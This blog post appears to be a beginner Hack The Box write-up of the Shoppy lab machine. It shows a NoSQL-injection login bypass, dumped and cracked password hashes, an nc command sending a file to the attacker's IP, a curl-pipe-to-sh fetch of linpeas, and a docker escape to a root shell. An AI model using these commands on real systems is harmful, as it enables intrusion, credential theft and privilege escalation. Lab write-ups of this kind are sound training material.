Hack The Box Writeup: Shoppy
Tags: security, hackthebox, cybersecurity, writeup
Published: 2023-03-27 19:55:13

This is a beginner friendly writeup of Shoppy on Hack The Box. I hope you learn something, because I sure did! Be sure to comment if you have any questions!

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u5snwlj4nvwftkktuiza.png)
## Adding the domain to `/etc/hosts`

In order to properly resolve our IP to a hostname, we'll need to map it's IP to a hostname using local DNS. This way, we won't need to type the IP address each time we'd like to communicate with the machine. In order to do this, we'll need to use the command `sudo vi /etc/hosts`, type in our password, and follow the convention within the file (IP address [TAB] domain name) to add it to the file on the next line like so:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c8e9fnvtfckpysw5buo5.png)

*Make sure that your IP matches up with the instance HTB gave you! Don't copy mine!* 

## Recon

### Nmap

For speed purposes, I use a very quick nmap scan to grab all of the open ports on the machine (and nothing more). The `-p-` flag is great for this. **Without `-p-`, I'd only scan for the most common 1000 ports instead of all 65,535 TCP ports. This can be a fatal mistake in the enumeration phase.**

Here's the command we'll use: 

`nmap -p- shoppy.htb`

### Quick Nmap output
```
Nmap scan report for shoppy.htb (10.10.11.180)
Host is up (0.031s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9093/tcp open  copycat

Nmap done: 1 IP address (1 host up) scanned in 280.71 seconds
```
*Note that these ports are all TCP only! If we wanted to scan UDP we'd use the -sU option.*

Now that we have identified the ports available we know that the ports available are 22, 80, and 9093. With this information, we can infer that there's a webserver, and an SSH client running on this machine. However, there's another port that I don't recognize. Let's look into all of them, but keep an eye on our out of place port.

## Full nmap

My full nmap scan uses the following options: 

`nmap -sCV -p 22,80,9093 -o shoppy.nmap shoppy.htb`

`-sV`: Detects service versions
`-sC`: Runs safe scripts (using the NSE)
`-p`: Scans selected ports
`-o`: Outputs in normal format. (With filename "shoppy.nmap")

```
# Nmap 7.92 scan initiated Wed Dec 14 19:10:22 2022 as: nmap -sCV -p 22,80,9093 -o shoppy.nmap shoppy.htb
Nmap scan report for shoppy.htb (10.10.11.180)
Host is up (0.093s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp   open  http     n17/12/2022 16:08ginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title:             Shoppy Wait Page        
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Thu, 15 Dec 2022 00:10:27 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 11
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 11
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 2.8354e-05
|     go_gc_duration_seconds{quantile="0.25"} 9.8767e-05
|_    go_gc_d
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.92%I=7%D=12/14%Time=639A65FF%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2A82,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:
SF:\x20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20Thu,\x
SF:2015\x20Dec\x202022\x2000:10:27\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles
SF:_automatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\
SF:x20generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_cycles
SF:_automatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_cycles
SF:_total\x2011\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x20Count
SF:\x20of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20applicati
SF:on\.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counter\ngo_g
SF:c_cycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_total_g
SF:c_cycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycles\.\n#\
SF:x20TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_cycles_
SF:total_gc_cycles_total\x2011\n#\x20HELP\x20go_gc_duration_seconds\x20A\x
SF:20summary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x20collect
SF:ion\x20cycles\.\n#\x20TYPE\x20go_gc_duration_seconds\x20summary\ngo_gc_
SF:duration_seconds{quantile=\"0\"}\x202\.8354e-05\ngo_gc_duration_seconds
SF:{quantile=\"0\.25\"}\x209\.8767e-05\ngo_gc_d")%r(HTTPOptions,2A82,"HTTP
SF:/1\.0\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20version=0\.0\.4;\
SF:x20charset=utf-8\r\nDate:\x20Thu,\x2015\x20Dec\x202022\x2000:10:27\x20G
SF:MT\r\n\r\n#\x20HELP\x20go_gc_cycles_automatic_gc_cycles_total\x20Count\
SF:x20of\x20completed\x20GC\x20cycles\x20generated\x20by\x20the\x20Go\x20r
SF:untime\.\n#\x20TYPE\x20go_gc_cycles_automatic_gc_cycles_total\x20counte
SF:r\ngo_gc_cycles_automatic_gc_cycles_total\x2011\n#\x20HELP\x20go_gc_cyc
SF:les_forced_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\
SF:x20forced\x20by\x20the\x20application\.\n#\x20TYPE\x20go_gc_cycles_forc
SF:ed_gc_cycles_total\x20counter\ngo_gc_cycles_forced_gc_cycles_total\x200
SF:\n#\x20HELP\x20go_gc_cycles_total_gc_cycles_total\x20Count\x20of\x20all
SF:\x20completed\x20GC\x20cycles\.\n#\x20TYPE\x20go_gc_cycles_total_gc_cyc
SF:les_total\x20counter\ngo_gc_cycles_total_gc_cycles_total\x2011\n#\x20HE
SF:LP\x20go_gc_duration_seconds\x20A\x20summary\x20of\x20the\x20pause\x20d
SF:uration\x20of\x20garbage\x20collection\x20cycles\.\n#\x20TYPE\x20go_gc_
SF:duration_seconds\x20summary\ngo_gc_duration_seconds{quantile=\"0\"}\x20
SF:2\.8354e-05\ngo_gc_duration_seconds{quantile=\"0\.25\"}\x209\.8767e-05\
SF:ngo_gc_d");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 14 19:12:03 2022 -- 1 IP address (1 host up) scanned in 100.75 seconds
```

## Port 9093

9093 is a weird port with an unidentified service. I'll revisit the strings later to see if I can get it to snag something, but for now, I'll interact with the port directly:

```
┌─[sshad0w@SSHad0w]─[~/Documents/ctf/htb/shoppy]
└──╼ $nc shoppy.htb 9093
ls
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request
```

Seems to be HTTP based. [I can tell it's HTTP based because I notice that the response fit the protocol.](https://dev.to/sshad0w/3d2r-february-web-application-basics-43al)

Maybe that's why the protocol was dubbed "copycat". It could be a "copycat service" made to look like HTTP. Since it seems to be HTTP, I'll go ahead and visit it in a browser.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tqymh0b8ocinmxhcungf.png)

The browser gives me all of these weird messages. My best guess is that it's written in Go considering it says "Go runtime" at the top of the page.

At the very bottom of the page, there's the following line:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tlnsjf1p05eyfm6zrk9q.png)

Version numbers are always good to follow, so I chased the rabbit down the hole and googled the following:

```
playbooks_plugin_system_playbook_instance_info{Version="1.29.1"} 1
```

According to a few sites, this application is a plugin written in go made to monitor memory usage.

[After a bit, I found that this is made to monitor Go apps.](https://scene-si.org/2018/08/06/basic-monitoring-of-go-apps-with-the-runtime-package/)

(References to `alloc` and `numGC` are both in the article mentioned above)

[I found something else that looks familiar.](https://github.com/timescale/promscale/blob/master/docs/metrics.md)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jou9ex0kw1hbs7yqsv33.png)

I cross referenced the error with the word "playbook" (because it stood out to me as application specific language), and most of my searches linked back to something called "Mattermost".


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/se19lezzmumvzgm4y63s.png)

I felt like I was in the right place since the words "playbook" and "channel" matched up.

## So what is Mattermost?

Now that I've found what's running, Let's actually take a second to understand what it is.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qyzyeu4znnhl1e9ocmod.png)

Mattermost seems to be an open source software development solution that allows people to collaborate their efforts without having to pay for a service like Jira, confluence, or any other enterprise level tool. Understanding it's intended purpose will help us understand how to triage it's importance and assess possibly weak points later on. We'll also take note that it's open source, as this may allow us to look through the code for clues on exploitation later.

## Mattermost Playbooks

According to the docs, playbooks are basically crontabs within the scope of Mattermost. Or in their words: **"Build and configure repeatable processes to achieve specific and predictable outcomes."**


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mcup3urwizczieixx3ke.png)

[Here's more of the documentation](https://docs.mattermost.com/playbooks/running-playbooks.html)

Why did I take note of this? Any time I see code automatically being run without human interaction, at specific time intervals, or when certain conditions are met, I try to take note of what it takes to trigger that code to see if can edit it, or force it to execute outside of it's typical context, I may be able to gain access to information I'm not privy to. 

Things like stored procedures, cron jobs, or any conditional arguments linked to time based execution are always interesting things to take note of, and it seems like these playlists can  "Build and configure **repeatable processes** to achieve specific and predictable outcomes."

*After finishing the machine, I noticed that this was not the intended path, but I still wonder if there's something I'd be able to leverage here. Maybe I'll do some testing and discover something new.*

## Port 80

Let's have a look at port 80.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w2eog49949gqtpnx1tyu.png)

It's a pretty little countdown timer. Let's check `robots.txt`.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pnfttn37dl2gr97uqf7r.png)

> Editors note: On my first pass, I dismissed this as nothing but an error. I simply figured that this gave no more information than "this page doesn't exist". After some research, I learned that this page *does* give me information. I just didn't know what to look for. The "Cannot GET /page" format is actually native to the NodeJS framework. If I had have understood that information earlier, I would have progressed a lot faster on this machine, as this information would soon be crucial to exploitation. If you didn't know this, make sure you keep your eyes peeled for web framework error messages! 

## Login

After manually fuzzing the pages, I found the `/login` page. 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tbb3cuh5wr0n19gl4szo.png)

Whenever I see a login page (presuming no logging is present), I always try simple default credentials, or common ones like variations of `password`, `admin` and other things like that.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gmmjce1hgzobr6te0g8w.png)

It seems like this is configured with a strong passphrase, so I won't be able to break it that way.

`http://shoppy.htb/login?error=WrongCredentials`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b0atgvtf1vhfvot54dlp.png)

Hm... How do I exploit this?

## NoSQL injection 

Since the backend is written in NodeJS, a good assumption that any backend database is written using a NoSQL DB like MongoDB. With this assumption, we can try to learn how to trigger a NoSQL injection vulnerability. [Without going too far in the details](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf), the difference between the classic SQL injection and it's NoSQL variant is where we're attacking. Since MongoDB is handled at the application level (since MongoDB and NodeJS couple well together), [we're actually attacking the application instead of an independent database.](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) That's a very high level and broad statement, [but there's more specific information on the internet.](https://www.imperva.com/learn/application-security/nosql-injection/#:~:text=While%20SQL%20injection%20executes%20in,string%20into%20an%20API%20call.) 

After many attempts, I finally found an exploit string that worked for me:

`username=admin' || 'a'=='a&password=hello`


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yg6jugs907rb7ymhw7u4.png)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ql0u2fdinajpvd4c8k8w.png)

I tested this using Burp Suite, but it's also possible to manually exploit via the login page. Without parameterization, it looks like this:

```
admin' || 'a'=='a
```

## /admin

We're now met with the admin interface of the Shoppy app:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/f7znl0hqtrrib967ybi7.png)

We can click the "search" button.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ura9j8hvl37n9603z41y.png)

 Using the exploit string from before, we can see all users in the DB:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hkecd6wjyh8clloxrpvo.png)

Since our payload dumps the entire database, we receive the username and password hashes of all of the DB users:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ir2le3pykjlqyspnnyjq.png)

```json
[{
	"_id":"62db0e93d6d6a999a66ee67a",
  "username":"admin",
	"password":"23c6877d9e2b564ef8b32c3a23de27b2"
 },
 {
	 "_id":"62db0e93d6d6a999a66ee67b",
  "username":"josh", 
	 "password":"6ebcea65320589ca4f2f1ce039975995"
 }
]
```

Since we're already logged in as admin, we'll login to `Josh` to see if there's any new information available to us.

## Identifying the hashes

Before we try logging into the "Josh" user, we'll need to identify which algorithm they use in order to crack them. There are many tools to do this (such as `hashid`, `hashcat`, and `Cyber Chef`), but we can also throw them into any online hash cracker to see if it will do the heavy lifting for us.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qnw6u0drldrz5eiwny9x.png)

```
6ebcea65320589ca4f2f1ce039975995	md5	remembermethisway
```

Nice! So we got Josh's password without much hard work. Again, it's important that we understand how to use hashcat, but once we have that basic knowledge, online tools are fairly helpful as well. If you'd like to learn how to use `hashcat`, you can read my writeup on [Previse]().

Now that we have the cleartext password, we'll put it in our notes under "found credentials". We'll remember his password this way (Pun intended!)

## Mattermost

I'm not sure what to do, but I remember Mattermost being on this machine, so I looked at documentation on how to authenticate, and [I found  a page that tells me more about authentication.](https://docs.mattermost.com/welcome/sign-in.html)

Basically, if Mattermost is self hosted, it will most likely be held on a domain that looks like the following: 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gg1319wyetm0f8oc10jd.png)

## Gobuster 

So I'm going to try looking for vhosting using gobuster. (I'll have to look for virtual hosts given that it's on a *.shoppy.htb scheme site)

```
gobuster vhost -u shoppy.com -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://shoppy.com
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/12/17 16:33:50 Starting gobuster in VHOST enumeration mode
===============================================================
                              
===============================================================
2022/12/17 16:34:34 Finished
===============================================================
```

Gobuster turned out to be a bust, but I took a guess and typed http://mattermost.shoppy.htb/ and I got a response back: 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h71w9x5mi4c1kdwfuyfi.png)

## Mattermost.shoppy.htb

After adding that to the `/etc/hosts` file, we get this page:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4nqurxr00j2rep4rtw0l.png)

Let's try logging in with the credentials we learned earlier:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e5rpaq7db9h6r8gm98po.png)

## Authenticated Mattermost enumeration

Great! Now that we're logged into the environment, we can look around in their messages and learn more about the environment.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7915d2n2vk5ufl0f8un4.png)

Don't forget to log new usernames/accounts in your notes.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3vju14h1q12dy8zykvnz.png)

So far, I see 4 accounts. 

We have Josh, Jess, Jager, and System.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z21vnn5fswec79efei9z.png)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w8r1f26udk079g802low.png)

Hello sysadmin/CEO!

This *might* be our target later.

Let's poke around look at the business logic before we try to find exploits.

*While messing around with the webapp, I found the dark theme! Feel free to change it if it's more comfortable on your eyes ;)*

## Channels

If you're familiar with discord or slack, Mattermost will feel quite familiar to you. 

If you aren't, each tab on the left has different "channels" that discuss various subjects. Each of them focus on a single type of conversation.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2mnxheywtgqrrkilhxjd.png)

Let's check out some of their messages.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7h97fjchtwrz28k5zs7y.png)

Josh and Jaeger talking about the Admin interface. 

There may be a password manager written in C++.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1lalik89021ekjkwmroc.png)

Jess' cat. This could be a possible password later.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uv8e4xd2h6ba5lic6p1j.png)

In a private channel called "Deploy machine", Jaeger tells josh to create an account for him.

I didn't see that account earlier. Maybe Josh hasn't created it yet.

Jaeger might reuse passwords. Let's logout of Josh's account and see if we can become CEO.

`jaeger`
`Sh0ppyBest@pp!`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yz765e8yvh0sz1ixk25f.png)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xnvhyfivry7f80dqp095.png)

Neither worked.

I could try to login via SSH.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y7qf538sfc5ckwe6b7m1.png)

Sweet! I knew that password had to be used somewhere else.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ulmwfr2g4h86jm1llgmx.png)

There's our user.txt file.

## Linux Privesc Enumeration

After grabbing the user flag, I let's look in the `shoppy_start.sh` file.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e65z075o6vlrt9w43pzu.png)

Running `sudo -l` gives us: 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1qdtxy0iapsujqorb74o.png)

Seems like we need to inspect that file, and the ones around it.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/93lowx9db9m2niidm3g9.png)

Other than the SUID, this directory is fairly locked down. 

This could be path injection. I'm not completely sure, but editing the $PATH variable might allow us to alter the execution flow of this script. I'll take a look at the permissions in this directory and see how the `.profile` is setup for each user.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jg0nkp13kzvtsroshs6z.png)

`.profile`:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kcvu1r5c3h5uqegs46ls.png)

Since we can't read the source code, let's try running the actual binary to learn more. Because this command needs to be run as another user, we'll have to invoke the binary with the following command:
`sudo -u deploy /home/deploy/password-manager`


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ct1xym519xp3ge25qj3i.png)

So I guess we'll need some sort of master password?

Not sure if I'm expected to reverse engineer this, or if I'm supposed to try PATH injection. Since there's no way to know which commands were used to make this, path injection would be a shot in the dark. Maybe reverse engineering this file would give us some insight into how it's built, and we may even discover the master password itself.

## Transferring files with NC

Before we're able to reverse engineer the program, we'll need to move the file from the target machine, to ours. I've never demonstrated how to transfer a file in a situation like this, and there many ways. 

> *I'd like to mention that this method of transfer is **completely** unencrypted, and if your goal is to be stealthy while hacking, **this is not a secure method for transferring files.** Red teaming is an entirely different skill. You have to have tact to be tactical!

On our local machine, we'll run the following command to receive the data on port 4490 and name the file "password-manager".

`nc -nvlp 4490 > password-manager` (Local machine)

Your output should look like this: 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ul0ljtjchvr10grqrcjp.png)

On your target machine, you'll need the following command to push the file through:

`nc -nvq 0 10.10.14.9 4490 < /home/deploy/password-manager` (Remote machine)

Here's what it should look like when you receive a connection:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ha8rpof8l7v763h8m5pa.png)

> *I should also note that there is no progress bar with this transfer method, but waiting for a full minute should download the full file. (Checking the size of the file on the remote machine and target should be enough.)*

## Reverse engineering the file

Now that the file is on our machine, we can poke and prod at the file to figure out how it works, what it does, which libraries it uses and more relevant information. Although reverse engineering is it's own discipline, (which will be covered later) this post will only cover the basics of the skill.

### Creating a carbon copy (optional)

In my minimal forensics training, a cardinal rule that I've learned is to always make at least one copy of all artifacts before running tests on them. This prevents any original data from being damaged, destroyed, or otherwise modified. I created a copy with `cp password-manager password-manager2`, and I'll solely run tests on the copied version.

### Running the `file` command

Running the `file` command on unidentified binaries can help you identify what it is, how it was created and more.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k9y5ecobuhzr5aefade3.png)

It seems to be a standard x64 ELF. Sweet!

## Strings

The strings command lists human readable strings inside the binary. This may give us information about how it was built, strings inside and possibly other valuable information that we can use to crack the program.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nvusirvdbwsk1tfl82yl.png)

Interesting... So we know that it will cat the file.

Maybe if we modify the `cat` binary, we can use path injection to take advantage of this program. 

# Ghidra

While PATH injection could be our path, let's try reverse engineering the code itself.

Ghidra gives a listing of instructions along with the strings that we saw earlier.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sjis0x8rfegsluimjezf.png)

You'll notice that we can simply scroll down and find the password hardcoded in the file:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kol70r3k78n39nxwskts.png)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mrt2ew414olr1rdxw99u.png)

Now, we see the "access granted" string like earlier!

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lugllke2oqe867nkh10g.png)

We can even see the execution flow of what happens after access is granted.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t0zj98lsr6mcj8qxcqxz.png)

We also could have visited the function and viewed the password in the decompiler:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dxrumfsalpxzegwzulsq.png)

Let's go back to the copy and verify the password. 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/237qreg9zaxwri1k1g4g.png)

It works! Let's do it for real this time on the target machine!

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vdpekwwz01ftrg7ssbk1.png)



After running the command earlier, we have the password to the "deploy" account! You can log on to the account via the `su` command, ssh into the account from the local machine, or you can exit your current shell, and log in to the `deploy` account manually.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ktatdt1d3svd6xazuyfn.png)

We're in. Now that we're on the other side, we can verify how the app was made.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qnjdaqe69nfu3cby6uao.png)
 
 The source code looks very similar to the decompiled version that we saw in Ghidra. Reverse engineering can be extremely powerful. 

## Shell upgrade for deploy account

Before we move on, we do have a slight problem. We have a dumb shell. 

What's a dumb shell? It's a shell that we can't we can't do much with. It's a shell that we can't use modern features like tab autocomplete, arrow keys, screen clearing, and automatic resizing. 

You'll know you're in a dumb shell when you see that there's a minimal prompt, and pressing arrow keys will give weird output.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4bvp7agugndfyuu75c1z.png)



While there are multiple ways to upgrade your shell, if there's a python install on the machine, you can use the following command to upgrade your shell:

```py
python -c 'import pty; pty.spawn("/bin/bash")'
```

Let's run the command and see what happens:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mve6d5jxnuk87hinjai3.png)

It seems that we don't have python on the machine. Let's try searching the machine for python and related binaries:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5uipzvmabba1k6fx3ky1.png)

I considered creating a new shell with nc, but I decided to exit it all together and SSH into the machine. Technically, there were still ways to upgrade the shell, but I decided to make it easier on myself and SSH into the machine to have a copacetic experience. 

> *If you're ever on a red team assessment, this technique may not work! Sometimes you don't have the password for every user you log into, and in enterprise environments, SSH login events are recorded and logged.*


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dne4znbnrrfq01kjomre.png)



I thought logging into the account directly would give me a proper shell, but eventually I decided to just run `bash` for the upgrade. 

## Deploy Enumeration

Every time we log into a new account, we always need to enumerate.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tql2p8rmw7boyq48hhin.png)

No SUID binaries or crontab for this user. 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qm71vfzrtg3m6du23a6n.png)

While there are Linux privesc tools, I wanted to manually explore a bit before running them.

I found out two things: 

1) This is the account that controls Mattermost
2) Containerd is on this machine.

Since Docker was mentioned earlier, I tried to see if anything was running. 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5310zx08uxi6oiy76i0h.png)

Nothing was running.

## Linpeas

I don't know what else to do, so I'm going to run linpeas. You can either transfer the file like earlier using `nc`, transfer it with a simple `python` webserver, or you can grab it directly from github with `curl`.

Since we don't care about stealth, we can just run this:

```
# From github
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

If you'd like to use `python` (like I did), it will look something like this:

Client machine:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2az477xe02o3x0oopcmw.png)

Target machine:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hph0320tusgw3fbrk5k5.png)

Linpeas has a lot of information in it (which means a lot of scrolling!), so I prefer to run it and send it to an output file to retrieve and parse through at my leisure. In order to do this, I used the `>` redirect operator to write to a file called `output.txt`:

`bash linpeas.sh > output.txt`

Let's `less` the file: 


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/doh1gr4ei0jqv51rj25f.png)



That output was very ugly, so I decided to go with `bash linpeas.sh -Nq > output2.txt` instead to remove color and banners.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6h5otooipunbaokauqns.png)



Much better.

> *I completed this box a while ago, and since then I've read the linpeas documentation and learned that I could have used `less -r output.txt` for the first file, and it would have displayed with color. Again, if you see something like the first picture, just use `less -r`!

After reading all of the linpeas output extensively and researching attack vectors, **I decided to ask someone for help.** I only mention this because I want to make sure that I remain honest about every single line of code I write, and I take that very seriously. It's alright to ask for help when you're stuck. No one is a master at everything instantly.

The hint I was given was "Did you see in which group deploy user is in?" The path was in the GID all along. Nothing super complicated, nothing extremely advanced. I just had to go back to the basics. 

## The group

We can find the group id by using the `id` command:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/n77cay591zlowtnmuyqj.png)



```bash
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
```

The GID shows that we're a part of the `docker` group.

[Let's search for files with our GID.](https://www.linuxquestions.org/questions/linux-general-1/how-to-find-all-a-gid%27s-files-19276/)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tg10rc2imhu6wrab3ssm.png)



> you can specify either with the -gid or -group options.. example:
$ **find / -name filename -gid 101**
or with the group name like:
$ **fine / -name filename -group users**
man find for more info....

`find / -name filename -gid 998`


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t30l35jtrxmi8cliat4b.png)



That's way too many "permission denied" messages. Let's see if we can filter that out with `grep`

`find / -name filename -gid 998 2>&1 | grep -v "Permission denied"`

`find / -name filename -gid 1001 2>&1 | grep -v "Permission denied"`


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ml3viyg5ptz1xya9x4yd.png)




That was a bust. Let's try a different approach. Since we're in the `docker` group, this means that we can run the actual docker binary. Maybe we should look to see if there are any ways to escalate to root using that program. 

After a bit of research, I found that one of my favorite sites had an entry for the docker binary. [GTFOBins is an amazing website to use when standard binaries have elevated privileges like SUID, SGID, or something similar.](https://gtfobins.github.io/gtfobins/docker/) This site is a quick way to see if there are ways to break out of a restricted shell. 

With out further ado, let's GTFO of docker!

To achieve a root shell, all we have to do is run the following command: 

`docker run -v /:/mnt --rm -it alpine chroot /mnt sh`

Before we run it, let's see what it actually does:

* `-v` Defines the volume to mount to. This allows us to share filesystems between the container and the host machine. When using docker operationally, I use docker's volume feature to ensure that my data persists between each deployment. 

	From the **dock**umentation itself:

	> -v or --volume: Consists of three fields, separated by colon characters (:). The fields must be in the correct order, and the meaning of each field is not immediately obvious.
	>
	>* In the case of named volumes, the first field is the name of the volume, and is unique on a given host machine. For anonymous volumes, the first field is omitted.
	>* The second field is the path where the file or directory are mounted in the container.
	>* The third field is optional, and is a comma-separated list of options, such as ro.

* `--rm` simply removes a container. 

* `-i` or `--interactive` is for keeping  STDIN open, even if the container isn't attached.
* `-t` or `--tty` allocates a psuedo TTY that allows us to interact with the container like a normal shell.

* `alpine` is the base Linux image used in many containers. This image is just to hold the shell. It has most basic functions and features of a standard Unix machine.
